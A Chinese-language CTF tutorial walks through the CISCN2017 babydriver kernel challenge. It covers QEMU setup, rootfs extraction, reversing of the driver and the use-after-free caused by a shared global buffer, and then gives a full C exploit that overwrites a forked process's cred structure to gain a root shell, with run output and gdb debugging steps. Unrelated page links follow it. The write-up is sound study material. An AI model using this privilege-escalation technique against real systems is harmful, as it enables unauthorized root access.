通过一道简单的例题了解Linux内核PWN
写在前面
这篇文章目的在于简单介绍内核PWN题,揭开内核的神秘面纱。背后的知识点包含Linux驱动和内核源码,学习路线非常陡峭。也就是说,会一道Linux内核PWN需要非常多的铺垫知识,如果要学习可以先从UNICORN、QEMU开始看起,然后看Linux驱动的内容,最后看Linux的内存管理、进程调度和文件的实现原理。至于内核API函数不用死记硬背,用到的时候再查都来得及。
题目概述
这题是参考ctf-wiki上的内核例题,题目名称CISCN2017_babydriver,是一道简单的内核入门题,所牵涉的知识点并不多。题目附件可以在ctf-wiki的GitHub仓库找到:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/CISCN2017-babydriver。
首先将题目附件下载下来,解压后得到所有的文件如下:
.
├── boot.sh # 启动脚本,运行这个脚本来启动QEMU
├── bzImage # 压缩过的内核镜像
└── rootfs.cpio # 作为初始RAM磁盘的文件
查看启动脚本boot.sh内容如下:
#!/bin/bash qemu-system-x86_64 \
-initrd rootfs.cpio \ # 指定使用rootfs.cpio作为初始RAM磁盘。可以使用cpio 命令提取这个cpio文件,提取出里面的需要的文件,比如init脚本和babydriver.ko的驱动文件。提取操作的命令放在下面的操作步骤中
-kernel bzImage \ # 使用当前目录的bzImage作为内核镜像
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \ # 使用后面的字符串作为内核命令行
-enable-kvm \ # 启用加速器
-monitor /dev/null \ # 将监视器重定向到字符设备/dev/null
-m 64M \ # 参数设置RAM大小为64M
--nographic \ # 参数禁用图形输出并将串行I/O重定向到控制台
-smp cores=1,threads=1 \ # 参数将CPU设置为1核心1线程
-cpu kvm64,+smep # 参数选择CPU为kvm64,开启了smep保护,无法在ring 0级别执行用户代码
文件bzImage是压缩编译的内核镜像文件。有些题目会提供vmlinux文件,它是未被压缩的镜像文件。这个题目没有提供,但也不要紧,可以用脚本提取出vmlinux,而使用vmlinux的目的也就是找gadget,提取vmlinux的脚本也可以在Linux的GitHub上找到:https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux。把代码复制到文件中,保存为extract-vmlinux,然后赋予执行权限。提取vmlinux命令如下:
./extract-vmlinux ./bzImage > vmlinux
可以使用ropper在提取的vmlinux中搜寻gadget,ropper比ROPgadget快很多:
ropper --file ./vmlinux --nocolor > g1
rootfs.cpio是启动内核的RAM磁盘文件,可以把它看作一个微型Linux文件系统。使用
file
命令查看可以看到它是gzip格式:unravel@unravel:~/pwn$ file rootfs.cpio
rootfs.cpio: gzip compressed data, last modified: Tue Jul 4 08:39:15 2017, max compression, from Unix, original size modulo 2^32 2844672
我们将rootfs.cpio改名为rootfs.cpio.gz,然后将它解压出来:
unravel@unravel:~/pwn$ ls
boot.sh bzImage rootfs.cpio unravel@unravel:~/pwn$ mv rootfs.cpio rootfs.cpio.gz
unravel@unravel:~/pwn$ ls
boot.sh bzImage rootfs.cpio.gz unravel@unravel:~/pwn$ gunzip rootfs.cpio.gz
unravel@unravel:~/pwn$ ls
boot.sh bzImage rootfs.cpio unravel@unravel:~/pwn$ file rootfs.cpio
rootfs.cpio: ASCII cpio archive (SVR4 with no CRC)
因为rootfs.cpio里面包含一些文件系统,它的文件比较多,我们可以创建一个文件夹,然后用
cpio
命令把所有文件提取到新建的文件夹下,保证一个干净的根目录,后面也将内容重新打包:unravel@unravel:~/pwn$ mkdir core && cp rootfs.cpio core && cd core && cpio -idmv < rootfs.cpio unravel@unravel:~/pwn/core$ ls
bin etc home init lib linuxrc proc rootfs.cpio sbin sys tmp usr
启动文件和驱动程序函数
在我们上一步解压完rootfs.cpio之后可以看到它就是Linux的文件系统。在根目录下里面有一个「init」文件,它决定启动哪些程序,比如执行某些脚本和启动shell。它的内容如下,除了
insmod
命令之外都是Linux的基本命令便不再赘述:#!/bin/sh mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console insmod /lib/modules/4.4.72/babydriver.ko # insmod命令加载了一个名为babydriver.ko的驱动,根据一般的PWN题套路,这个就是有漏洞的LKM了
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh umount /proc
umount /sys
poweroff -d 0 -f
在init文件中看到用
insmod
命令加载了babydriver.ko驱动,那么我们把这个驱动拿出来,检查一下开启的保护:unravel@unravel:~/pwn/core/lib/modules/4.4.72$ checksec --file=babydriver.ko
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX disabled Not an ELF file No RPATH No RUNPATH 64 Symbols No 0 0 babydriver.ko
可以看到程序保留了符号信息,其他保护都没有开启
把驱动程序放到IDA里面查看程序逻辑,除了
init
初始化和exit
外还有5个函数:babyrelease
:主要功能是释放空间int __fastcall babyrelease(inode *inode, file *filp)
{
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n");
return 0;
}
babyopen
:调用kmem_cache_alloc_trace
函数申请一块大小为64字节的空间,返回值存储在device_buf
中,并设置device_buf_len
int __fastcall babyopen(inode *inode, file *filp)
{
_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n");
return 0;
}
babyioctl
:定义0x10001的命令,这条命令可以释放刚才申请的device_buf
,然后重新申请一个用户传入的内存,并设置device_buf_len
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx _fentry__(filp, command);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n");
return 0LL;
}
else
{
printk(&unk_2EB);
return -22LL;
}
}
babywrite
:copy_from_user
是从用户空间拷贝数据到内核空间,应当接受三个参数copy_from_user(char*, char*,int)
,IDA里面是没有识别成功,需要手动按Y键修复。babywrite
函数先检查长度是否小于device_buf_len
,然后把buffer
中的数据拷贝到device_buf
中ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx _fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user(babydev_struct.device_buf, (char *)buffer, v4);
result = v6;
}
return result;
}
babyread
:和babywrite
差不多,不过是把device_buf
拷贝到buffer
中ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx _fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer, babydev_struct.device_buf, v4);
result = v6;
}
return result;
}
漏洞点和利用思路
值得注意的是驱动程序中的函数操作都使用同一个变量
babydev_struct
,而babydev_struct
是全局变量,漏洞点在于多个设备同时操作这个变量会将变量覆盖为最后改动的内容,没有对全局变量上锁,导致条件竞争我们使用
ioctl
同时打开两个设备,第二次打开的内容会覆盖掉第一次打开设备的babydev_struct
,如果释放第一个,那么第二个理论上也被释放了,实际上并没有,就造成了一个UAF释放其中一个后,使用
fork
,那么这个新进程的cred
空间就会和之前释放的空间重叠利用那个没有释放的描述符对这块空间写入,把
cred
结构体中的uid
和gid
改为0,就可实现提权还有在修改时需要知道
cred
结构的大小,可以根据内核版本可以查看源码,计算出cred
结构大小是0xa8,不同版本的内核源码这个结构体的大小都不一样
exp代码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/stat.h>
int main()
{
// 打开两次设备
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
// 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
ioctl(fd1, 0x10001, 0xa8);
// 释放 fd1
close(fd1);
// 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
int pid = fork();
if(pid < 0)
{
puts("[*] fork error!");
exit(0);
}
else if(pid == 0)
{
// 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
char zeros[30] = {0};
write(fd2, zeros, 28);
if(getuid() == 0)
{
puts("[+] root now.");
system("/bin/sh");
exit(0);
}
}
else
{
wait(NULL);
}
close(fd2);
return 0;
}
执行exp
需要将编写的exp编译成可执行文件,然后把它复制到rootfs.cpio提取出来的文件系统中,再将文件系统重新打包成cpio,这样在内核重新运行的时候就有exp这个文件了。
将exp编译好,注意需要改为静态编译,因为我们的内核是没有动态链接的:
unravel@unravel:~/pwn$ gcc exp.c -static -o exp
接下来我们复制exp到文件系统下,然后使用
cpio
命令重新打包:unravel@unravel:~/pwn$ cp exp core/tmp/
unravel@unravel:~/pwn$ cd core/
unravel@unravel:~/pwn/core$ ls
bin etc home init lib linuxrc proc rootfs.cpio sbin sys tmp usr unravel@unravel:~/pwn/core$ find . | cpio -o --format=newc > rootfs.cpio
cpio: File ./rootfs.cpio grew, 3522560 new bytes not copied
14160 blocks unravel@unravel:~/pwn/core$ cp rootfs.cpio ..
下一步就可以重新运行内核了。执行boot.sh启动内核后,在刚才拷贝的/tmp目录下找到exp可执行程序:
/ $ ls -la /tmp/
total 864
drwxrwxr-x 2 ctf ctf 0 Dec 16 09:35 .
drwxrwxr-x 13 ctf ctf 0 Dec 17 08:35 ..
-rwxrwxr-x 1 ctf ctf 883168 Dec 17 08:30 exp
执行后可得到root权限,提权成功:
/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf) / $ /tmp/exp
[ 115.517513] device open
[ 115.522342] device open
[ 115.527241] alloc done
[ 115.532132] device release
[+] root now. / # id
uid=0(root) gid=0(root) groups=1000(ctf)
调试
可以在boot.sh文件中添加
-s
参数来使用gdb调试,它默认端口1234。也可以指定端口号进行调试,只需要使用-gdb tcp:port
即可。在启动的内核中使用lsmod
查看加载的驱动基地址,得到0xffffffffc0000000,然后启动gdb,使用target remote
指定调试IP和端口号进行调试,然后添加babydriver的符号信息,过程如下:# 在QEMU运行的内核中运行如下命令
/ $ lsmod
babydriver 16384 0 - Live 0xffffffffc0000000 (OE)
# 启动gdb,配置调试信息
gdb -q gef➤ target remote localhost:1234
Remote debugging using localhost:1234 gef➤ add-symbol-file pwn/core/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
add symbol table from file "pwn/core/lib/modules/4.4.72/babydriver.ko"
Reading symbols from pwn/core/lib/modules/4.4.72/babydriver.ko...
这里建议使用gef插件,pwndbg和peda调试内核总有一些玄学问题。如果gef报错context相关问题(如下图),在gdb中输入命令
python set_arch()
就可以查看调试上下文了:我们之前在gdb中使用
add-symbol-file
命令加载了babydriver.ko的符号信息,并指定了加载基地址,在下断点的时候可以直接使用符号来打断点:
总结
通过一道题认识了内核PWN的解题步骤,以及如何对内核进行调试。对于不知道用法的内核函数和结构体,可以在manned.org网站或者源码中查看。
参考资料
CTF-WIKI链接:https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/uaf/#_2
Linux在线源码:https://elixir.bootlin.com/linux/v4.4.72/source/mm/slab.c#L3431
MannedOrg:https://manned.org/kmalloc.3
QEMU手册:https://www.qemu.org/docs/master/system/quickstart.html
UNICORN:https://www.unicorn-engine.org/docs/
通过一道简单的例题了解Linux内核PWN的更多相关文章
- Linux 内核 链表 的简单模拟(2)
接上一篇Linux 内核 链表 的简单模拟(1) 第五章:Linux内核链表的遍历 /** * list_for_each - iterate over a list * @pos: the & ...
- Linux 内核版本命名
Linux 内核版本命名在不同的时期有其不同的规范,我们熟悉的也许是 2.x 版本奇数表示开发版.偶数表示稳定版,但到 2.6.x 以及 3.x 甚至将来的 4.x ,内核版本命名都不遵守这样的约定. ...
- 《Linux内核设计与实现》读书笔记 第二章 从内核出发
一.获取内核源码 1. Git git实际上是一种开源的分布式版本控制工具. Linux作为一个开源的内核,其源代码也可以用git下载和管理 - 获取最新提交到版本树的一个副本 - $ git clo ...
- 修改Linux内核参数提高Nginx服务器并发性能
当linux下Nginx达到并发数很高,TCP TIME_WAIT套接字数量经常达到两.三万,这样服务器很容易被拖死.事实上,我们可以简单的通过修改Linux内核参数,可以减少Nginx服务器 的TI ...
- 《Linux内核分析》期终总结
作者:杨舒雯,原创作品转载请注明出处,<Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 目录: 1.通过简 ...
- Linux内核0.11体系结构 ——《Linux内核完全注释》笔记打卡
0 总体介绍 一个完整的操作系统主要由4部分组成:硬件.操作系统内核.操作系统服务和用户应用程序,如图0.1所示.操作系统内核程序主要用于对硬件资源的抽象和访问调度. 图0.1 操作系统组成部分 内核 ...
- Linux内核编译完整过程
Linux内核编译完整过程 通过网上的资料我自己的实际内核编译,我把对Linux内核编译的过程写在这里,也许对其他的Linux爱好者的编译学习有些帮助,其中很大部分是网上的资料,另外就是我在实际编译过 ...
- Linux内核分析(三)内核启动过程分析——构造一个简单的Linux系统
一.系统的启动(各历史节点) 在最开始的时候,计算机的启动实际上依靠一段二进制码,可以这么理解,他并不是一个真正的计算机启动一道程序.计算机在开始加电的时候几乎是没有任何用处的,因为RAM芯片中包括的 ...
- linux内核学习之一 简单c语言反汇编
(我是第一次发技术博客的菜鸟,恳请大家指导!!) 一 由简单c程序生成汇编代码 首先给出本次我们要反汇编的简单c语言程序:(够简单吧~) 在linux环境中使用下面的命令条件编译: 生成汇编文件sh ...
随机推荐
- 论文翻译:2021_Decoupling magnitude and phase optimization with a two-stage deep network
论文地址:两阶段深度网络的解耦幅度和相位优化 论文代码: 引用格式:Li A, Liu W, Luo X, et al. ICASSP 2021 deep noise suppression chal ...
- 统计学习2:线性可分支持向量机(Scipy实现)
1. 模型 1.1 超平面 我们称下面形式的集合为超平面 \[\begin{aligned} \{ \bm{x} | \bm{a}^{T} \bm{x} - b = 0 \} \end{aligned ...
- CF1264D1 Beautiful Bracket Sequence (easy version)
考虑在一个确定的括号序列中,我们可以枚举中间位置,按左右最长延伸出去的答案计算. 我们很自然的思考,我们直接维护左右两边,在删除一些字符后能够延伸的最长长度. 我们设\(f_{i,j}\)为\(i\) ...
- Vue 中使用 TypeScript axios 使用方式
Vue 中使用 TypeScript axios 使用方式 方式一 import axios from 'axios'; Vue.prototype.$axios = axios; // 在 .vue ...
- clickhouse使用的一点总结
clickhouse据说是用在大数据量的olap场景列式存储数据库,也有幸能够用到它在实际场景中落地.本篇就来说说简单的使用心得吧. 1. 整体说明 架构啥的,就不多说了,列式存储.大数据量.高性能. ...
- 【Pathview web】通路映射可视化
前言 pathview是一个通路可视化友好的R包,最主要的是它支持多组学数据映射(基因/蛋白-代谢).自己用过它的R包,后来发现有网页版的,果断介绍给学员.因为不常用,记录要点,以后温习备用. 目前w ...
- python包之drmaa:集群任务管理
目录 1. drmaa简介 2. 安装和配置 3. 示例 3.1 开始和终止会话 3.2 运行工作 3.3 等待工作 3.4 控制工作 3.5 查询工作状态 4. 应用 4.1 写一个简单应用 4.2 ...
- ARM汇编基础指令
Cortex-A7 常用汇编指令 一.处理器内部数据传输指令 1.mov 将数据从一个寄存器拷贝到另外一个寄存器,或者将一个立即数传递到寄存器里面 MOV R0,R1 @将寄存器 R1 中的数据传递给 ...
- R2CNN模型——用于文本目标检测的模型
引言 R2CNN全称Rotational Region CNN,是一个针对斜框文本检测的CNN模型,原型是Faster R-CNN,paper中的模型主要针对文本检测,调整后也可用于航拍图像的检测中去 ...
- Vue3 中有哪些值得深究的知识点?
众所周知,前端技术一直更新很快,这不 vue3 也问世这么久了,今天就来给大家分享下vue3中值得注意的知识点.喜欢的话建议收藏,点个关注! 1.createApp vue2 和 vue3 在创建实例 ...